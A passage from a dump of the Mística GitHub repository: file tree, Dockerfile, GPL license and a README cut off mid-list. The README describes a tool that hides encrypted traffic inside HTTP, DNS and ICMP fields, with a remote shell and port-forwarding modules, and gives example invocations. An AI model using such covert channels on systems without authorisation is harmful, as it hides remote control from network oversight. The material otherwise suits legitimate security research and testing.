Showing preview only (477K chars total). Download the full file or copy to clipboard to get everything.
Repository: IncideDigital/Mistica
Branch: master
Commit: 963115706c27
Files: 43
Total size: 458.1 KB
Directory structure:
gitextract_79tz8_83/
├── .gitignore
├── Dockerfile
├── LICENSE
├── README.md
├── logs/
│ └── .gitkeep
├── mc.py
├── ms.py
├── overlay/
│ ├── client/
│ │ ├── __init__.py
│ │ ├── io.py
│ │ ├── shell.py
│ │ ├── tcpconnect.py
│ │ └── tcplisten.py
│ └── server/
│ ├── __init__.py
│ ├── io.py
│ ├── shell.py
│ ├── tcpconnect.py
│ └── tcplisten.py
├── sotp/
│ ├── clientworker.py
│ ├── core.py
│ ├── misticathread.py
│ ├── packet.py
│ ├── route.py
│ ├── router.py
│ └── serverworker.py
├── utils/
│ ├── bitstring.py
│ ├── buffer.py
│ ├── icmp.py
│ ├── logger.py
│ ├── messaging.py
│ ├── prompt.py
│ └── rc4.py
└── wrapper/
├── client/
│ ├── __init__.py
│ ├── dns.py
│ ├── http.py
│ └── icmp.py
└── server/
├── wrap_module/
│ ├── __init__.py
│ ├── dns.py
│ ├── http.py
│ └── icmp.py
└── wrap_server/
├── __init__.py
├── dnsserver.py
├── httpserver.py
└── icmpserver.py
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitignore
================================================
*.pyc
__pycache__
*.log
wiki
.vscode
build
dist
*.bin
*.zip
docs
tests
mc.spec
ms.spec
mc
ms
*.pem
================================================
FILE: Dockerfile
================================================
# [*] First build image with:
#
# sudo docker build --tag mistica:latest .
#
# [*] Second, create the network with:
#
# sudo docker network create misticanw
#
# [*] Third run the server with:
#
# sudo docker run --network misticanw --sysctl net.ipv4.icmp_echo_ignore_all=1 -v $(pwd):/opt/Mistica -it mistica /bin/bash
#
# [*] Fourth run the client with:
#
# sudo docker run --network misticanw -v $(pwd):/opt/Mistica -it mistica /bin/bash
FROM python:3.7
LABEL maintainer="rcaro@incide.es"
RUN python3.7 -m pip install pip && python3.7 -m pip install dnslib
WORKDIR /opt/Mistica
ENTRYPOINT /bin/bash
================================================
FILE: LICENSE
================================================
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
mistica
Copyright (C) 2020 INCIDE
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
mistica Copyright (C) 2020 INCIDE
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<http://www.gnu.org/licenses/>.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
<http://www.gnu.org/philosophy/why-not-lgpl.html>.
================================================
FILE: README.md
================================================
# Mística
|  |
|:----------: |
| Mística Logo by [JoelGMSec](https://twitter.com/joelgmsec) |
Mística is a tool that allows to embed data into application layer protocol fields, with the goal of establishing a bi-directional channel for arbitrary communications.
Currently, encapsulation into HTTP, HTTPS, DNS and ICMP protocols has been implemented, but more protocols are expected to be introduced in the near future.
Mística has a modular design, built around a custom transport protocol, called SOTP: Simple Overlay Transport Protocol. Data is encrypted, chunked and put into SOTP packets. SOTP packets are encoded and embedded into the desired field of the application protocol, and sent to the other end.
The goal of the SOTP layer is to offer a generic binary transport protocol, with minimal overhead. SOTP packets can be easily hidden or embeddeded into legitimate application protocols. Also SOTP makes sure that packets are received by the other end, encrypts the data using RC4 (this may change in the future), and makes sure that information can flow in both ways transparently, by using a polling mechanism.
Modules interact with the SOTP layer for different purposes:
- Wrap modules or Wrappers: These modules encode / decode SOTP packets from / into application layer protocols
- Overlay modules: These Modules ccommunicate over the SOTP channel. Examples are: io redirection (like netcat), shell (command execution), port forwarding…
Wrapper and overlay modules work together in order to build custom applications, e.g input redirection over DNS or remote port forwarding over HTTP.
Mística’s modular design allows for easy development of new modules.
Also, the user can easily fork current modules in order to use some custom field or encoding or modify the behavior of an overlay module.
There are two main pieces of sofware:
- Mística server (`ms.py`): Uses modules that act as the server of the desired application layer protocol (HTTP, HTTPS, DNS, ICMP...). It is also designed in a way that will allow for multiple servers, wrappers and overlays to be run at the same time, with just one instance of `ms.py`, although this feature is not fully implemented yet.
- Mística client (`mc.py`): Uses modules that act as the client of the desired applicarion layer protocol (HTTP, HTTPS, DNS, ICMP...). It can only use one overlay and one wrapper at the same time.
## Demos
You can see some Mística demos in the following [playlist](https://www.youtube.com/playlist?list=PLyUtb47GNF9wqIwI1DGpX_Fr1IXpXHRqB)
## Dependencies
The project has very few dependencies. Currently:
- Mística Client needs at least Python 3.7
- Mística Server needs at least Python 3.7 and `dnslib`.
```
python3.7 -m pip install pip --user
pip3.7 install dnslib --user
```
If you don't want to install python on your system, you can use one of the following portable versions:
- https://www.anaconda.com/distribution/#download-section (for Windows, Linux and macOS)
- https://github.com/winpython/winpython/releases/tag/2.1.20190928 (only for Windows)
## Current modules
Overlay modules:
- `io`: Reads from stdin, sends through SOTP connection. Reads from SOTP connection, prints to stdout
- `shell`: Executes commands recieved through the SOTP connection and returns the output. Compatible with io module.
- `tcpconnect`: Connects to TCP port. Reads from socket, sends through SOTP connection. Reads from SOTP connection, sends through socket.
- `tcplisten`: Binds to TCP port. Reads from socket, sends through SOTP connection. Reads from SOTP connection, sends through socket.
Wrap modules:
- `dns`: Encodes/Decodes data in DNS queries/responses using different methods
- `http`: Encodes/Decodes data in HTTP or HTTPS requests/responses using different methods
- `icmp`: Encodes/Decodes data in ICMP echo requests/responses on data section
## Usage
`ms.py`: Mística Server
Here's how the help message looks like:
```txt
usage: ms.py [-h] [-k KEY] [-l LIST] [-m MODULES] [-w WRAPPER_ARGS]
[-o OVERLAY_ARGS] [-s WRAP_SERVER_ARGS]
Mistica server. Anything is a tunnel if you're brave enough. Run without
parameters to launch multi-handler mode.
optional arguments:
-h, --help show this help message and exit
-k KEY, --key KEY RC4 key used to encrypt the comunications
-l LIST, --list LIST Lists modules or parameters. Options are: all,
overlays, wrappers, <overlay name>, <wrapper name>
-m MODULES, --modules MODULES
Module pair in single-handler mode. format:
'overlay:wrapper'
-w WRAPPER_ARGS, --wrapper-args WRAPPER_ARGS
args for the selected overlay module (Single-handler
mode)
-o OVERLAY_ARGS, --overlay-args OVERLAY_ARGS
args for the selected wrapper module (Single-handler
mode)
-s WRAP_SERVER_ARGS, --wrap-server-args WRAP_SERVER_ARGS
args for the selected wrap server (Single-handler
mode)
-v, --verbose Level of verbosity in logger (no -v None, -v Low, -vv
Medium, -vvv High)
```
There are two main modes in Mística Server:
- **Single Handler Mode**: When `ms.py` is launched with parameters, it allows a single overlay modoule interacting with a single wrapper module.
- **Multi-handler Mode:** (Not published yet) When `ms.py` is run without parameters, the user enters an interactive console, where multiple overlay and wrapper modules may be launched. These modules will be able to interact with each other, with few restrictions.
`mc.py`: Mística client
Here's how the help message looks like:
```txt
usage: mc.py [-h] [-k KEY] [-l LIST] [-m MODULES] [-w WRAPPER_ARGS]
[-o OVERLAY_ARGS]
Mistica client.
optional arguments:
-h, --help show this help message and exit
-k KEY, --key KEY RC4 key used to encrypt the comunications
-l LIST, --list LIST Lists modules or parameters. Options are: all,
overlays, wrappers, <overlay name>, <wrapper name>
-m MODULES, --modules MODULES
Module pair. Format: 'overlay:wrapper'
-w WRAPPER_ARGS, --wrapper-args WRAPPER_ARGS
args for the selected overlay module
-o OVERLAY_ARGS, --overlay-args OVERLAY_ARGS
args for the selected wrapper module
-v, --verbose Level of verbosity in logger (no -v None, -v Low, -vv
Medium, -vvv High)
```
### Parameters
- `-l, --list` is used to either list `all` modules, only list one type: (`overlays` or `wrappers`) or list the parameters that a certain module can accept through `-o`, `-w` or `-s`.
- `-k, --key` is used to specify the key that will be used to encrypt the overlay communication. This must be the same in client and server and is currently mandatory. This may change in the future if secret-sharing schemes are implemented.
- `-m, --modules` is used to specify which module pair do you want to use. You must use the following format: **overlay_module** + **:** + **wrap_module**. This parameter is also mandatory.
- `-w, --wrapper-args` allows you to specify a particular configuration for the wrap module.
- `-o, --overlay-args` allows you to specify a particular configuration for the overlay module.
- `-s, --wrap-server-args` is only present on `ms.py`. It allows you to specify a particular configuration for the wrap server. Each wrap module has a dependency on a wrap server, and both configurations can be tuned
## Examples and Advanced use
> Remember that you can see all of the accepted parameters of a module by typing `-l <module_name>` (e.g `./ms.py -l dns`). Also remember to use a long and complex key to protect your communications!
### HTTP
In order to illustrate the different methods of HTTP encapsulation, the IO redirection overlay module (`io`) will be used for every example.
- HTTP GET method with b64 encoding in the default URI, using localhost and port 8080 (default values).
- Mística Server: `./ms.py -m io:http -k "rc4testkey"`
- Mística Client: `./mc.py -m io:http -k "rc4testkey"`
- HTTP GET method with b64 encoding in the default URI, **specifying IP address and port**.
- Mística Server: `./ms.py -m io:http -k "rc4testkey" -s "--hostname x.x.x.x --port 10000"`
- Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--hostname x.x.x.x --port 10000"`
- HTTP GET method with b64 encoding in **custom URI**, using localhost and port 8080 (default values).
- Mística Server: `./ms.py -m io:http -k "rc4testkey" -w "--uri /?token="`
- Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--uri /?token="`
- HTTP GET method with b64 encoding in **custom header**, using localhost and port 8080 (default values).
- Mística Server: `./ms.py -m io:http -k "rc4testkey" -w "--header laravel_session"`
